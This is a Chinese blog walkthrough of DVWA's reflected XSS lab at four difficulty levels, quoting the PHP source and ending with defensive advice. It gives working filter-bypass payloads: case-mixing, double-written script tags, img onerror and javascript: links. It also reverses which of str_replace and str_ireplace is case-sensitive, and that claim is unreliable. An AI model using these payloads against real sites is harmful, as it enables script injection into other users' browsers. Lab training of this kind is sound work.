DVWA靶机学习——XSS (Reflected)

这个系列是学习DVWA靶机的。今天学习XSS (Reflected),即反射型XSS的Low、Medium、High、Impossible级别。

Posted by K4ys0n on November 21, 2020

0x00 XSS (Reflected)

XSS,全称Cross Site Scripting,即跨站脚本攻击,是指攻击者在页面中注入恶意代码,当受害者访问该页面时,恶意代码会在其浏览器上执行。

XSS不仅限于JavaScript,还可以是Flash等脚本语言,根据恶意代码是否存储在服务器,XSS分为存储型XSS和反射型XSS。

DOM型的XSS由于比较特殊,常被分为第三种,是基于DOM树的XSS。如服务器端常使用document.body.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型XSS。DOM型XSS可能是存储型,也可能是反射型。

0x01 Low

源码分析

<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>  

关闭了XSS保护,没有设置任何过滤,直接将GET方式提交的变量值输出成html,构成了反射型XSS。

解题思路

直接输入下述代码即可弹出弹框

<script>alert(1);</script>

0x02 Medium

源码分析

<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

关闭了XSS保护,并且str_replace函数会将'<script>'替换成空字符,然后才输出,但是str_replace对大小写不敏感,str_ireplace函数才对大小写敏感。

可以通过大小写绕过或双写绕过,来构成XSS。

解题思路

1、大小写绕过

<Script>alert(1);</scRipt>

大写script哪些字母都可以。

2、双写绕过

<sc<script>ript>alert(1);</scr<script>ipt>

注意双写绕过时要将被替换的字符全部写进去,这里不只是双写script。

0x03 High

源码分析

<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

关闭了XSS保护,使用preg_replace函数作正则匹配,只要包含字符串'<script>'就算是中间有别的字符也会匹配到,并且i参数表示大小写都能匹配。

因此不能再使用大小写绕过或双写绕过了。但可以通过其他标签、属性来执行JavaScript脚本弹框,如:img标签。

解题思路

利用img标签的onerror属性,onerror属性是在src属性出错时执行,所以只要让src属性是一个不存在的链接或值即可。构造XSS注入代码如下:

<img src='1' onerror='alert(1)'>

也可以用a标签

<a href='javascript:alert(1)'>click me</a>

但是需要点击click me链接才会生效。

0x04 Imposible

源码分析

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();
?> 

源码中使用CSRF token来防御CSRF攻击。

htmlspecialchars()函数把字符&、"、\’、<、>转换为HTML实体,防止浏览器将其作为HTML元素,从而防御XSS攻击。

解题思路

无。

0x05 小结

防御方法:

  • 黑名单过滤用户输入,注意大小写都考虑进去。
  • 使用htmlspecialchars()函数将特殊符号变成HTML实体。
  • 使用owasp等安全XSS处理API。

0x06 参考

https://www.freebuf.com/articles/web/123779.html